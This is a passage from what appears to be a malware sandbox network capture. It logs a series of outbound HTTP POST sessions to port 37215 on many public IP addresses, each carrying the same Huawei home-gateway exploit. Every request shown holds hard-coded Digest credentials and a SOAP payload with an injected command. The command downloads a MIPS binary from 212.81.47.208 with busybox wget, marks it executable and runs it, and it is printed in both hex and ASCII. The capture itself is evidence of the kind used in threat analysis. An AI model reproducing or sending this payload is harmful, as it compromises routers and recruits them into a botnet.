65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	56452	41.70.211.68	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.938781023 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	51508	41.137.76.138	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.939322948 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	36610	197.212.128.183	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.939865112 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	39522	156.26.60.186	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.940444946 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.14	34114	41.125.57.226	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.940993071 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	55680	197.107.186.146	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.941530943 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	52758	41.69.3.230	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.942096949 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	46924	197.171.113.254	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.942663908 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	49264	41.209.252.161	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.943264961 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	42356	41.191.169.69	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:36.943821907 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	51590	197.123.241.110	37215

Timestamp	Bytes transferred	Direction	Data
